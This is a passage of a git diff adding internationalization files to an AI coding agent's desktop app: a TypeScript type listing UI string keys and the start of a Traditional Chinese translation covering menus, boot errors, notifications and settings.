+      reveal: string
+      copyPath: string
+      removeFromSidebar: string
+      createFailed: string
+      staleBackend: string
+      deleteConfirm: string
+      startWork: string
+      newWorktreeTitle: string
+      newWorktreeDesc: string
+      branchPlaceholder: string
+      branchOff: () => { after: string; before: string }
+      baseBranchPlaceholder: string
+      baseBranchNone: string
+      startWorkFailed: string
+      worktreeProjectLabel: string
+      worktreeProjectPlaceholder: string
+      worktreeProjectNone: string
+      convertBranch: string
+      convertBranchTitle: string
+      convertBranchDesc: string
+      convertBranchPlaceholder: string
+      convertBranchInstead: string
+      branchOpenExisting: string
+      branchSwitchHome: string
+      branchCreateWorktree: string
+      branchTrackRemote: string
+      branchesLoading: string
+      noBranches: string
+      removeWorktree: string
+      removeWorktreeFailed: string
+      removeWorktreeConfirm: string
+      removeWorktreeDirty: string
+      forceRemove: string
+      enter: (label: string) => string
+      reorder: (label: string) => string
+      toggle: (label: string, open: boolean) => string
+      back: string
+    }
+    newSessionIn: (label: string) => string
+    showMoreIn: (count: number, label: string) => string
+    loading: string
+    loadMore: string
+    loadCount: (step: number) => string
+    row: {
+      pin: string
+      unpin: string
+      copyId: string
+      export: string
+      branchFrom: string
+      rename: string
+      archive: string
+      newWindow: string
+      hideTabBar: string
+      openInNewTab: string
+      openInSplit: string
+      copyIdFailed: string
+      sessionActions: string
+      sessionRunning: string
+      needsInput: string
+      waitingForAnswer: string
+      finishedUnread: string
+      backgroundRunning: string
+      handoffOrigin: (platform: string) => string
+      ownedByProfile: (profile: string) => string
+      renamed: string
+      renameFailed: string
+      renameTitle: string
+      renameDesc: string
+      untitledPlaceholder: string
+      untitledChat: (id: string) => string
+      ageNow: string
+      ageDay: string
+      ageHour: string
+      ageMin: string
+    }
+    dateDivider: {
+      today: string
+      yesterday: string
+      thisWeek: string
+      lastWeek: string
+      thisMonth: string
+    }
+  }
+
+  composer: {
+    message: string
+    wakingProfile: (profile: string) => string
+    placeholderStarting: string
+    placeholderReconnecting: string
+    placeholderFollowUp: string
+    newSessionPlaceholders: readonly string[]
+    followUpPlaceholders: readonly string[]
+    startVoice: string
+    openDirective: string
+    queueMessage: string
+    steer: string
+    stop: string
+    send: string
+    speaking: string
+    transcribing: string
+    thinking: string
+    muted: string
+    listening: string
+    muteMic: string
+    unmuteMic: string
+    stopListening: string
+    stopShort: string
+    endConversation: string
+    endShort: string
+    stopDictation: string
+    transcribingDictation: string
+    voiceDictation: string
+    speakReplies: string
+    stopSpeakingReplies: string
+    wakeWordListening: (phrase: string) => string
+    wakeWordOff: (phrase: string) => string
+    wakeWordPausedVoice: (phrase: string) => string
+    lookupLoading: string
+    lookupNoMatches: string
+    lookupTry: string
+    lookupOr: string
+    commonCommands: string
+    hotkeys: string
+    helpFooter: string
+    commandDescs: Record<string, string>
+    hotkeyDescs: Record<string, string>
+    attachUrlTitle: string
+    attachUrlDesc: string
+    urlPlaceholder: string
+    urlHintPre: string
+    attach: string
+    queued: (count: number) => string
+    queuedPaused: (count: number) => string
+    attachmentOnly: string
+    emptyTurn: string
+    attachments: (count: number) => string
+    editingInComposer: string
+    editingQueuedInComposer: string
+    queueEdit: string
+    queueSendNext: string
+    queueSend: string
+    queueDelete: string
+    queueResume: string
+    queueResumeTip: string
+    queueStuckTitle: string
+    queueStuckBody: string
+    previewUnavailable: string
+    previewLabel: (label: string) => string
+    couldNotPreview: (label: string) => string
+    removeAttachment: (label: string) => string
+    dictating: string
+    preparingAudio: string
+    speakingResponse: string
+    readingAloud: string
+    themeSuggestions: string
+    noMatchingThemes: string
+    themeTryPre: string
+    themeTryPost: string
+    attachLabel: string
+    files: string
+    folder: string
+    images: string
+    pasteImage: string
+    url: string
+    promptSnippets: string
+    tipPre: string
+    tipPost: string
+    snippetsTitle: string
+    snippetsDesc: string
+    snippets: Record<string, { label: string; description: string; text: string }>
+    dropFiles: string
+    dropSession: string
+  }
+
+  statusStack: {
+    agents: string
+    background: (count: number) => string
+    goalActive: string
+    goalDone: string
+    goalPaused: string
+    goalWaiting: string
+    subagents: (count: number) => string
+    todos: (done: number, total: number) => string
+    running: string
+    stop: string
+    dismiss: string
+    exit: (code: number) => string
+    coding: {
+      title: string
+      noBranch: string
+      detached: string
+      clean: string
+      changed: (count: number) => string
+      ahead: (count: number) => string
+      behind: (count: number) => string
+      review: string
+      close: string
+      openChanges: string
+      openFile: string
+      stage: string
+      unstage: string
+      stageAll: string
+      viewAsTree: string
+      viewAsList: string
+      revert: string
+      revertAll: string
+      revertConfirm: string
+      revertAllConfirm: string
+      staged: string
+      noChanges: string
+      notRepo: string
+      noDiff: string
+      scopeUncommitted: string
+      scopeBranch: string
+      scopeLastTurn: string
+      commit: string
+      commitAndPush: string
+      commitPlaceholder: string
+      generateCommitMessage: string
+      stopGenerating: string
+      createPr: string
+      openPr: string
+      ghMissing: string
+      agentShip: string
+      agentShipPrompt: string
+      newBranch: string
+      branchOffFrom: (base: string) => string
+      switchTo: (branch: string) => string
+      switchFailed: (branch: string) => string
+      worktrees: string
+    }
+  }
+
+  updates: {
+    stages: Record<string, string>
+    checking: string
+    checkFailedTitle: string
+    tryAgain: string
+    notAvailableTitle: string
+    unsupportedMessage: string
+    connectionRetry: string
+    latestBody: string
+    latestBodyBackend: string
+    allSetTitle: string
+    availableTitle: string
+    availableBody: string
+    availableTitleBackend: string
+    availableBodyBackend: string
+    availableBodyNoChangelog: string
+    updateNow: string
+    maybeLater: string
+    moreChanges: (count: number) => string
+    manualTitle: string
+    manualBody: string
+    manualPickedUp: string
+    /** GUI/backend skew (#45205): backend updated but the running desktop app
+     *  package (AppImage/.deb/.rpm) was not changed and must be reinstalled. */
+    guiSkewTitle: string
+    guiSkewBody: string
+    copy: string
+    copied: string
+    done: string
+    applyingBody: string
+    applyingBodyBackend: string
+    applyingClose: string
+    errorTitle: string
+    errorBody: string
+    notNow: string
+    applyStatus: {
+      preparing: string
+      pulling: string
+      restarting: string
+      notAvailable: string
+      failed: string
+      noReturn: string
+    }
+  }
+
+  install: {
+    stageStates: Record<string, string>
+    oneTimeTitle: string
+    unsupportedDesc: (platform: string) => string
+    installCommand: string
+    copyCommand: string
+    viewDocs: string
+    installTo: string
+    retryAfterRun: string
+    setupChoiceTitle: string
+    setupChoiceDesc: string
+    connectExistingTitle: string
+    connectExistingShort: string
+    connectExistingDesc: string
+    installLocalTitle: string
+    installLocalDesc: string
+    localStartUnavailable: string
+    remoteSetupTitle: string
+    remoteSetupDesc: string
+    remoteUrlTitle: string
+    remoteUrlDesc: string
+    remoteUrlPlaceholder: string
+    probing: string
+    probeError: string
+    identityProvider: string
+    authTitle: string
+    authNeedsOauth: (provider: string) => string
+    authSignedIn: string
+    connected: string
+    signIn: string
+    signInWith: (provider: string) => string
+    enterUrlFirst: string
+    signInIncomplete: string
+    tokenTitle: string
+    tokenDesc: string
+    pasteSessionToken: string
+    incompleteSignInTest: string
+    incompleteTokenTest: string
+    testConnection: string
+    testSucceeded: (baseUrl: string, version?: string) => string
+    applyRemote: string
+    backToSetup: string
+    failedTitle: string
+    settingUpTitle: string
+    finishingTitle: string
+    failedDesc: string
+    activeDesc: string
+    progress: (completed: number, total: number) => string
+    currentStage: (stage: string) => string
+    fetchingManifest: string
+    error: string
+    hideOutput: string
+    showOutput: string
+    lines: (count: number) => string
+    noOutput: string
+    cancelling: string
+    cancelInstall: string
+    transcriptSaved: string
+    copiedOutput: string
+    copyOutput: string
+    reloadRetry: string
+  }
+
+  onboarding: {
+    headerTitle: string
+    headerDesc: string
+    preparingInstall: string
+    starting: string
+    lookingUpProviders: string
+    collapse: string
+    otherProviders: string
+    haveApiKey: string
+    chooseLater: string
+    recommended: string
+    connected: string
+    featuredPitch: string
+    fireworksPitch: string
+    openRouterPitch: string
+    apiKeyOptions: Record<string, { short: string; description: string }>
+    backToSignIn: string
+    getKey: string
+    replaceCurrent: string
+    pasteApiKey: string
+    localApiKeyPlaceholder: string
+    couldNotSave: string
+    connecting: string
+    update: string
+    flowSubtitles: Record<string, string>
+    startingSignIn: (provider: string) => string
+    verifyingCode: (provider: string) => string
+    connectedProvider: (provider: string) => string
+    connectedPicking: (provider: string) => string
+    signInFailed: string
+    pickDifferentProvider: string
+    signInWith: (provider: string) => string
+    openedBrowser: (provider: string) => string
+    authorizeThere: string
+    copyAuthCode: string
+    pasteAuthCode: string
+    reopenAuthPage: string
+    autoBrowser: (provider: string) => string
+    reopenSignInPage: string
+    waitingAuthorize: string
+    externalPending: (provider: string) => string
+    signedIn: string
+    deviceCodeOpened: (provider: string) => string
+    reopenVerification: string
+    copy: string
+    defaultModel: string
+    freeTier: string
+    pro: string
+    free: string
+    price: (input: string, output: string) => string
+    change: string
+    startChatting: string
+    docs: (provider: string) => string
+  }
+
+  modelPicker: {
+    title: string
+    current: string
+    unknown: string
+    search: string
+    noModels: string
+    addProvider: string
+    loadFailed: string
+    noAuthenticatedProviders: string
+    pro: string
+    proNeedsSubscription: string
+    free: string
+    freeTier: string
+    priceTitle: string
+    wasPrice: string
+  }
+
+  modelVisibility: {
+    title: string
+    search: string
+    noAuthenticatedProviders: string
+    addProvider: string
+  }
+
+  shell: {
+    windowControls: string
+    paneControls: string
+    appControls: string
+    modelMenu: {
+      search: string
+      noModels: string
+      editModels: string
+      refreshModels: string
+      fast: string
+    }
+    modelOptions: {
+      noOptions: string
+      options: string
+      thinking: string
+      fast: string
+      effort: string
+      minimal: string
+      low: string
+      medium: string
+      high: string
+      xhigh: string
+      max: string
+      ultra: string
+      updateFailed: string
+      fastFailed: string
+    }
+    gatewayMenu: {
+      gateway: string
+      connected: string
+      connecting: string
+      offline: string
+      inferenceReady: string
+      inferenceNotReady: string
+      checkingInference: string
+      disconnected: string
+      openSystem: string
+      connection: (label: string) => string
+      recentActivity: string
+      viewAllLogs: string
+      messagingPlatforms: string
+    }
+    approvalMode: {
+      title: string
+      ariaLabel: (mode: string) => string
+      manual: string
+      manualDescription: string
+      smart: string
+      smartDescription: string
+      off: string
+      offDescription: string
+    }
+    statusbar: {
+      unknown: string
+      restart: string
+      update: string
+      updateInProgress: string
+      commitsBehind: (count: number, branch: string) => string
+      desktopVersion: (version: string) => string
+      backendVersion: (version: string) => string
+      clientLabel: (version: string) => string
+      connectionSsh: (host: string) => string
+      connectionRemote: (host: string) => string
+      connectionCloud: (host: string) => string
+      connectionCloudTooltip: (host: string) => string
+      connectionSshTooltip: (host: string) => string
+      connectionRemoteTooltip: (host: string) => string
+      backendLabel: (version: string) => string
+      commit: (sha: string) => string
+      branch: (branch: string) => string
+      closeCommandCenter: string
+      openCommandCenter: string
+      showTerminal: string
+      hideTerminal: string
+      gateway: string
+      gatewayReady: string
+      gatewayNeedsSetup: string
+      gatewayChecking: string
+      gatewayConnecting: string
+      gatewayOffline: string
+      gatewayRestarting: string
+      gatewayTitle: string
+      customizeTitle: string
+      hideStatusbar: string
+      toggleApprovalMode: string
+      toggleBackendVersion: string
+      toggleCommandCenter: string
+      toggleContextUsage: string
+      toggleRunningTimer: string
+      toggleSessionTimer: string
+      toggleTerminal: string
+      toggleVersion: string
+      toggleWorkspace: string
+      agents: string
+      closeAgents: string
+      openAgents: string
+      subagents: (count: number) => string
+      failed: (count: number) => string
+      running: (count: number) => string
+      cron: string
+      openCron: string
+      webhooks: string
+      openWebhooks: string
+      starmap: string
+      openStarmap: string
+      turnRunning: string
+      contextUsage: string
+      contextUsagePanel: {
+        categories: {
+          conversation: string
+          mcp: string
+          memory: string
+          rules: string
+          skills: string
+          subagent_definitions: string
+          system_prompt: string
+          tool_definitions: string
+        }
+        empty: string
+        loading: string
+        percentFull: (percent: number) => string
+        title: string
+        tokenSummary: (used: string, max: string) => string
+      }
+      session: string
+      yoloOn: string
+      yoloOff: string
+      modelNone: string
+      noModel: string
+      switchModel: string
+      openModelPicker: string
+      modelPinned: string
+      modelTitle: (provider: string, model: string) => string
+      providerModelTitle: (provider: string, model: string) => string
+    }
+  }
+
+  rightSidebar: {
+    aria: string
+    panelsAria: string
+    files: string
+    terminal: string
+    noFolderSelected: string
+    changeCwdTitle: string
+    remotePickerTitle: string
+    remotePickerDescription: string
+    remotePickerSelect: string
+    folderTip: (cwd: string) => string
+    openFolder: string
+    refreshTree: string
+    collapseAll: string
+    previewUnavailable: string
+    couldNotPreview: (path: string) => string
+    noProjectTitle: string
+    noProjectBody: string
+    noProjectOpen: string
+    noDiffs: string
+    unreadableTitle: string
+    unreadableBody: (error: string) => string
+    emptyTitle: string
+    emptyBody: string
+    treeErrorTitle: string
+    treeErrorBody: string
+    tryAgain: string
+    loadingTree: string
+    loadingFiles: string
+    terminalHide: string
+    terminalsAria: string
+    terminalNew: string
+    terminalCloseOthers: string
+    terminalCloseAll: string
+    addToChat: string
+  }
+
+  preview: {
+    tab: string
+    closePane: string
+    loading: string
+    unavailable: string
+    opening: string
+    hide: string
+    openPreview: string
+    openInBrowser: string
+    linkHint: string
+    sourceLineTitle: string
+    source: string
+    renderedPreview: string
+    diff: string
+    unknownSize: string
+    binaryTitle: string
+    binaryBody: (label: string) => string
+    largeTitle: string
+    largeBody: (label: string, size: string) => string
+    previewAnyway: string
+    truncated: string
+    noInlineTitle: string
+    noInlineBody: (mimeType: string) => string
+    edit: string
+    editing: string
+    unsavedChanges: string
+    saveFailed: (message: string) => string
+    diskChangedTitle: string
+    diskChangedBody: string
+    overwrite: string
+    discardReload: string
+    console: {
+      deselect: string
+      select: string
+      copyFailed: string
+      copyEntry: string
+      sendEntry: string
+      messages: (count: number) => string
+      resize: string
+      title: string
+      selected: (count: number) => string
+      sendToChat: string
+      copySelected: string
+      copyAll: string
+      copy: string
+      clear: string
+      empty: string
+      promptHeader: string
+      sentTitle: string
+      sentMessage: (count: number) => string
+    }
+    web: {
+      appFailedToBoot: string
+      serverNotFound: string
+      failedToLoad: string
+      tryAgain: string
+      restarting: string
+      askRestart: string
+      lookingRestart: (taskId: string) => string
+      restartingTitle: string
+      restartingMessage: string
+      startRestartFailed: (message: string) => string
+      restartFailed: string
+      hideConsole: string
+      showConsole: string
+      hideDevTools: string
+      openDevTools: string
+      finishedRestarting: (message?: string) => string
+      failedRestarting: (message: string) => string
+      unknownError: string
+      restartedTitle: string
+      reloadingNow: string
+      restartFailedTitle: string
+      restartFailedMessage: string
+      stillWorking: string
+      workspaceReloading: string
+      fileChanged: (url: string) => string
+      filesChanged: (count: number, url: string) => string
+      watchFailed: (message: string) => string
+      moduleMimeDescription: string
+      loadFailedConsole: (code: number | undefined, message: string) => string
+      unreachableDescription: string
+      openTarget: (url: string) => string
+      fallbackTitle: string
+    }
+  }
+
+  zones: {
+    showHeader: string
+    hideHeader: string
+    minimize: string
+    restore: string
+    closeRunningTitle: string
+    closeRunningBody: string
+    closeRunningConfirm: string
+    reload: string
+    closeOthers: string
+    closeToRight: string
+    closeAll: string
+    newSessionTab: string
+    pluginDisabled: (pluginId: string) => string
+    pluginDisabledBody: string
+    missingPane: (paneId: string) => string
+    editTitle: string
+    editHint: string
+    reset: string
+    templates: string
+    custom: string
+    newGridLayout: string
+    saveCurrentAs: string
+    nameLayoutPlaceholder: string
+    deletePreset: (name: string) => string
+    zoneEditorTitle: string
+    editorHintPre: string
+    editorHintPost: string
+    templateColumns: string
+    templateRows: string
+    templateGrid: string
+    templatePriority: string
+    zoneTag: (index: number) => string
+    mergeZones: (count: number) => string
+    customZoneName: (count: number) => string
+    layoutNamePlaceholder: (fallback: string) => string
+    saveApply: string
+    notExpressible: string
+    zoneCount: (count: number) => string
+    tabCount: (count: number) => string
+  }
+
+  assistant: {
+    thread: {
+      loadingSession: string
+      showEarlier: string
+      loadingResponse: string
+      resumeWhenBackgroundDone: (count: number) => string
+      thinking: string
+      thought: string
+      thoughtBriefly: string
+      thoughtFor: (duration: string) => string
+      today: (time: string) => string
+      yesterday: (time: string) => string
+      copy: string
+      refresh: string
+      moreActions: string
+      branchNewChat: string
+      react: string
+      dismissError: string
+      filesChanged: (count: number) => string
+      reviewChanges: string
+      readAloudFailed: string
+      preparingAudio: string
+      stopReading: string
+      readAloud: string
+      editMessage: string
+      expandMessage: string
+      scrollToBottom: string
+      stop: string
+      restorePrevious: string
+      restoreCheckpoint: string
+      restoreFromHere: string
+      restoreTitle: string
+      restoreBody: string
+      restoreConfirm: string
+      restoreNext: string
+      goForward: string
+      sendEdited: string
+      attachingFile: string
+    }
+    approval: {
+      gatewayDisconnected: string
+      sendFailed: string
+      run: string
+      command: string
+      moreOptions: string
+      allowSession: string
+      alwaysAllowMenu: string
+      jumpToApproval: string
+      reject: string
+      alwaysTitle: string
+      alwaysDescription: (pattern: string) => string
+      alwaysAllow: string
+    }
+    clarify: {
+      notReady: string
+      gatewayDisconnected: string
+      sendFailed: string
+      loadingQuestion: string
+      other: string
+      placeholder: string
+      skip: string
+      skipped: string
+      continueLabel: string
+      lateAnswer: (question: string, choice: string) => string
+      lateAnswerTip: string
+      lateAnswerHint: string
+    }
+    tool: {
+      copyCode: string
+      renderingImage: string
+      copyOutput: string
+      copyCommand: string
+      copyContent: string
+      copyUrl: string
+      copyResults: string
+      copyQuery: string
+      copyFile: string
+      copyPath: string
+      outputAlt: string
+      rawResponse: string
+      copyActivity: string
+      recoveredOne: string
+      recoveredMany: (count: number) => string
+      failedOne: string
+      failedMany: (count: number) => string
+      statusRunning: string
+      statusError: string
+      statusRecovered: string
+      statusDone: string
+      /** Over-budget / rejected memory write title — not "Saved to memory". */
+      memoryWriteNoted: string
+      actions: {
+        read: string
+        reading: string
+        opened: string
+        opening: string
+        failedToOpen: string
+        searched: string
+        searching: string
+        ran: string
+        running: string
+        ranCode: string
+        runningCode: string
+      }
+      prefixes: {
+        browser: string
+        web: string
+      }
+      titleTemplates: {
+        actionCommand: (action: string, command: string) => string
+        actionQuoted: (action: string, value: string) => string
+        actionTarget: (action: string, target: string) => string
+        prefixedDone: (prefix: string, action: string) => string
+        runningPrefixedTool: (prefix: string, action: string) => string
+        runningTool: (action: string) => string
+      }
+      titles: Record<ToolTitleKey, ToolTitleCopy>
+    }
+  }
+
+  prompts: {
+    gatewayDisconnected: string
+    sudoSendFailed: string
+    secretSendFailed: string
+    sudoTitle: string
+    sudoDesc: string
+    sudoPlaceholder: string
+    secretTitle: string
+    secretDesc: string
+    secretPlaceholder: string
+  }
+
+  desktop: {
+    audioReadFailed: string
+    sessionUnavailable: string
+    createSessionFailed: string
+    promptFailed: string
+    providerCredentialRequired: string
+    emptySlashCommand: string
+    desktopCommands: string
+    skillCommandsAvailable: (count: number) => string
+    warningLine: (message: string) => string
+    yoloArmed: string
+    yoloOff: string
+    yoloSystem: (active: boolean) => string
+    yoloTitle: string
+    yoloToggleFailed: string
+    profileStatus: (current: string) => string
+    unknownProfile: string
+    noProfileNamed: (target: string, available: string) => string
+    newChatsProfile: (name: string) => string
+    setProfileFailed: string
+    sttDisabled: string
+    stopFailed: string
+    regenerateFailed: string
+    editFailed: string
+    resumeFailed: string
+    resumeStrandedTitle: string
+    resumeStrandedBody: string
+    resumeRetry: string
+    nothingToBranch: string
+    branchNeedsChat: string
+    sessionBusy: string
+    branchStopCurrent: string
+    branchNoText: string
+    branchTitle: (n: number) => string
+    branchFailed: string
+    deleteFailed: string
+    archived: string
+    archiveFailed: string
+    cwdChangeFailed: string
+    cwdStagedTitle: string
+    cwdStagedMessage: string
+    modelSwitchFailed: string
+    sessionExported: string
+    sessionExportFailed: string
+    imageSaved: string
+    downloadStarted: string
+    restartToUseSaveImage: string
+    restartToSaveImages: string
+    imageDownloadFailed: string
+    openImage: string
+    downloadImage: string
+    savingImage: string
+    imagePreviewFailed: string
+    imageAttach: string
+    imageWriteFailed: string
+    imageAttachFailed: string
+    attachImages: string
+    clipboard: string
+    noClipboardImage: string
+    clipboardPasteFailed: string
+    dropFiles: string
+    handoff: {
+      pickPlatform: string
+      success: (platform: string) => string
+      systemNote: (platform: string) => string
+      failed: (error: string) => string
+      timedOut: string
+    }
+  }
+
+  errors: {
+    genericFailure: string
+    boundaryTitle: string
+    boundaryDesc: string
+    reloadWindow: string
+    openLogs: string
+  }
+
+  ui: {
+    search: {
+      clear: string
+    }
+    pagination: {
+      label: string
+      previous: string
+      previousAria: string
+      next: string
+      nextAria: string
+    }
+    sidebar: {
+      title: string
+      description: string
+      toggle: (open: boolean) => string
+    }
+  }
+}
diff --git a/ui-desktop/src/i18n/zh-hant.ts b/ui-desktop/src/i18n/zh-hant.ts
new file mode 100644
index 000000000..0336d9e06
--- /dev/null
+++ b/ui-desktop/src/i18n/zh-hant.ts
@@ -0,0 +1,2710 @@
+import { defineFieldCopy } from '@/app/settings/field-copy'
+
+import { defineLocale } from './define-locale'
+
+export const zhHant = defineLocale({
+  common: {
+    apply: '套用',
+    back: '返回',
+    save: '儲存',
+    saving: '儲存中…',
+    cancel: '取消',
+    change: '變更',
+    choose: '選擇',
+    clear: '清除',
+    close: '關閉',
+    collapse: '收合',
+    confirm: '確認',
+    connect: '連線',
+    connecting: '連線中',
+    continue: '繼續',
+    copied: '已複製',
+    copy: '複製',
+    copyFailed: '複製失敗',
+    delete: '刪除',
+    docs: '文件',
+    done: '完成',
+    error: '錯誤',
+    expand: '展開',
+    failed: '失敗',
+    formatJson: '格式化 JSON',
+    free: '免費',
+    loading: '載入中…',
+    notSet: '未設定',
+    refresh: '重新整理',
+    remove: '移除',
+    replace: '取代',
+    retry: '重試',
+    run: '執行',
+    send: '傳送',
+    set: '設定',
+    skip: '略過',
+    update: '更新',
+    tryHint: term => `試試「${term}」`,
+    on: '開啟',
+    off: '關閉'
+  },
+
+  fileMenu: {
+    revealFinder: '在 Finder 中顯示',
+    revealExplorer: '在檔案總管中顯示',
+    revealFileManager: '開啟所在資料夾',
+    revealInSidebar: '在檔案樹中顯示',
+    copyPath: '複製路徑',
+    copyRelativePath: '複製相對路徑',
+    rename: '重新命名…',
+    delete: '刪除',
+    renameTitle: '重新命名',
+    renameLabel: '新名稱',
+    deleteTitle: name => `刪除 ${name}？`,
+    deleteBody: '將移至垃圾桶，你可以從那裡還原。',
+    pathCopied: '已複製路徑'
+  },
+
+  boot: {
+    ready: 'ClawCodex Desktop 已就緒',
+    desktopBootFailedWithMessage: message => `桌面啟動失敗：${message}`,
+    steps: {
+      connectingGateway: '正在連線桌面閘道',
+      loadingSettings: '正在載入 ClawCodex 設定',
+      loadingSessions: '正在載入最近工作階段',
+      startingDesktopConnection: '正在啟動桌面連線',
+      startingClawCodexDesktop: '正在啟動 ClawCodex Desktop…'
+    },
+    errors: {
+      backgroundExited: 'ClawCodex 背景程序已結束。',
+      backgroundExitedDuringStartup: 'ClawCodex 背景程序在啟動期間結束。',
+      backendStopped: '後端已停止',
+      desktopBootFailed: '桌面啟動失敗',
+      gatewayConnectionLost: '與閘道的連線已中斷',
+      gatewaySignInRequired: '需要閘道登入',
+      ipcBridgeUnavailable: '桌面 IPC 橋接器不可用。'
+    },
+    failure: {
+      title: 'ClawCodex 無法啟動',
+      description: '背景閘道未啟動。請嘗試下面的復原步驟。這裡的操作不會刪除您的聊天或設定。',
+      remoteTitle: '需要重新登入遠端閘道',
+      remoteDescription: '您的遠端閘道工作階段已過期。請重新登入以重新連線。這裡的操作不會刪除您的聊天或設定。',
+      retry: '重試',
+      repairInstall: '修復安裝',
+      useLocalGateway: '使用本機閘道',
+      gatewaySettings: '閘道設定',
+      back: '返回',
+      openLogs: '開啟記錄',
+      repairHint: '修復會重新執行安裝程式，在新機器上可能需要幾分鐘。',
+      remoteSignInHint: signInLabel =>
+        `先登出已儲存的遠端瀏覽器工作階段，然後開啟${signInLabel}。使用本機閘道可切換至內建後端。`,
+      signOutAndSignIn: '登出並重新登入',
+      remoteFailureHint: '在「閘道設定」中檢查閘道 URL 與登入，或切換至本機閘道。',
+      hideRecentLogs: '隱藏最近記錄',
+      showRecentLogs: '顯示最近記錄',
+      signedInTitle: '已登入',
+      signedInMessage: '正在重新連線至遠端閘道…',
+      signInIncompleteTitle: '登入未完成',
+      signInIncompleteMessage: '登入視窗在驗證完成前關閉。',
+      signInFailed: '登入失敗',
+      signInToRemoteGateway: '登入遠端閘道',
+      signInWithProvider: provider => `使用 ${provider} 登入`,
+      identityProvider: '您的身分提供方'
+    }
+  },
+
+  notifications: {
+    region: '通知',
+    hide: '隱藏',
+    show: '顯示',
+    more: count => `另外 ${count} 則通知`,
+    clearAll: '全部清除',
+    dismiss: '關閉通知',
+    details: '詳細資訊',
+    copyDetail: '複製詳情',
+    copyDetailFailed: '無法複製通知詳情',
+    backendOutOfDateTitle: '後端版本過舊',
+    backendOutOfDateMessage: '您的 ClawCodex 後端早於目前的桌面版本，可能無法正常運作。請更新以保持一致。',
+    installMethodUnsupportedTitle: '不受支援的安裝方式',
+    updateClawCodex: '更新 ClawCodex',
+    updateReadyTitle: '有可用更新',
+    updateReadyMessage: count => `有 ${count} 項新變更可用。`,
+    seeWhatsNew: '查看新增內容',
+    errors: {
+      elevenLabsNeedsKey: 'ElevenLabs STT 需要 ELEVENLABS_API_KEY。',
+      elevenLabsRejectedKey: 'ElevenLabs 拒絕了該 API 金鑰 (401)。',
+      diskFull: '磁碟已滿 — 請騰出一些空間後再試。',
+      gatewayAuthFailed: '閘道認證失敗 — 請檢查你的 API_SERVER_KEY。',
+      methodNotAllowed: '桌面後端拒絕了該請求 (405 Method Not Allowed)。請嘗試重新啟動 ClawCodex Desktop。',
+      microphonePermission: '麥克風權限已被拒絕。',
+      openaiRejectedApiKey: 'OpenAI 拒絕了該 API 金鑰。',
+      openaiRejectedApiKeyWithStatus: status => `OpenAI 拒絕了該 API 金鑰 (${status} invalid_api_key)。`,
+      openaiTtsNeedsKey: 'OpenAI TTS 需要 VOICE_TOOLS_OPENAI_KEY 或 OPENAI_API_KEY。'
+    },
+    voice: {
+      configureSpeechToText: '設定語音轉文字後即可使用語音模式。',
+      couldNotStartSession: '無法啟動語音工作階段',
+      microphoneAccessDenied: '麥克風存取被拒絕。',
+      microphoneConstraintsUnsupported: '此裝置不支援目前的麥克風限制條件。',
+      microphoneFailed: '麥克風發生錯誤',
+      microphoneInUse: '麥克風正被其他應用程式使用中。',
+      microphonePermissionDenied: '麥克風權限被拒絕。',
+      microphoneStartFailed: '無法開始麥克風錄音。',
+      microphoneUnsupported: '目前執行環境不支援麥克風錄音。',
+      noMicrophone: '找不到麥克風。',
+      noSpeechDetected: '未偵測到語音',
+      playbackFailed: '語音播放失敗',
+      recordingFailed: '語音錄製失敗',
+      sayStopToEnd: phrase => `說「${phrase}」即可結束語音對話。`,
+      transcriptionFailed: '語音轉寫失敗',
+      transcriptionUnavailable: '語音轉寫暫不可用。',
+      tryRecordingAgain: '請再錄製一次。',
+      unavailable: '語音不可用'
+    },
+    native: {
+      approvalTitle: '需要核准',
+      approveAction: '核准',
+      rejectAction: '拒絕',
+      inputTitle: '需要輸入',
+      inputBody: 'ClawCodex 正在等待你的回應。',
+      turnDoneTitle: 'ClawCodex 已完成',
+      turnDoneBody: '',
+      turnErrorTitle: '本輪失敗',
+      backgroundDoneTitle: '背景工作已完成',
+      backgroundFailedTitle: '背景工作失敗',
+      creditsTitle: '額度'
+    }
+  },
+
+  remoteDisplayBanner: {
+    message: reason => `軟體繪圖已啟用 — 偵測到遠端顯示（${reason}）。為防止畫面閃爍，已停用 GPU 加速。`
+  },
+
+  billingBlock: {
+    titleNous: 'Nous 額度已用盡',
+    titleProvider: provider => `額度已用盡 — ${provider}`,
+    fallbackMessage: '您的帳戶額度已用盡。請儲值以繼續使用。',
+    openBilling: '開啟帳單',
+    addCredits: '新增額度',
+    dismiss: '忽略'
+  },
+
+  titlebar: {
+    hideSidebar: '隱藏側邊欄',
+    showSidebar: '顯示側邊欄',
+    search: '搜尋',
+    searchTitle: '搜尋工作階段、檢視和動作',
+    swapSidebarSides: '交換側邊欄位置',
+    hideRightSidebar: '隱藏右側邊欄',
+    showRightSidebar: '顯示右側邊欄',
+    muteHaptics: '靜音觸感回饋',
+    unmuteHaptics: '開啟觸感回饋',
+    openSettings: '開啟設定',
+    openStarmap: '開啟記憶圖譜'
+  },
+
+  language: {
+    label: '語言',
+    description: '選擇桌面介面的語言。',
+    saving: '正在儲存語言…',
+    saveError: '語言更新失敗',
+    switchTo: '切換語言',
+    searchPlaceholder: '搜尋語言…',
+    noResults: '找不到語言'
+  },
+
+  settings: {
+    closeSettings: '關閉設定',
+    exportConfig: '匯出設定',
+    importConfig: '匯入設定',
+    resetToDefaults: '恢復預設值',
+    resetConfirm: '要將所有設定恢復為 ClawCodex 預設值嗎？',
+    exportFailed: '匯出失敗',
+    resetFailed: '重設失敗',
+    nav: {
+      providers: '提供方',
+      providerAccounts: '帳號',
+      providerApiKeys: 'API 金鑰',
+      providerCustomEndpoints: '自訂端點',
+      gateway: '閘道',
+      apiKeys: '工具與金鑰',
+      keybinds: '鍵盤快捷鍵',
+      keysTools: '工具',
+      keysSettings: '設定',
+      mcp: 'MCP',
+      archivedChats: '已封存聊天',
+      about: '關於',
+      billing: '帳單',
+      notifications: '通知'
+    },
+    notifications: {
+      title: '通知',
+      intro: '原生桌面通知，與應用程式內提示不同。設定會依裝置保存，每台電腦各自獨立。',
+      enableAll: '啟用通知',
+      enableAllDesc: '關閉後靜音下方所有通知。',
+      focusedHint: '完成提醒僅在 ClawCodex 位於背景時觸發。',
+      kinds: {
+        approval: {
+          label: '需要核准',
+          description: '有指令正在等待你核准或拒絕。'
+        },
+        input: {
+          label: '需要輸入',
+          description: 'ClawCodex 提出了問題，或需要密碼或密鑰。'
+        },
+        turnDone: {
+          label: '回覆就緒',
+          description: 'ClawCodex 在背景時完成了一輪對話。'
+        },
+        turnError: {
+          label: '本輪失敗',
+          description: '背景回合錯誤。'
+        },
+        backgroundDone: {
+          label: '背景工作完成',
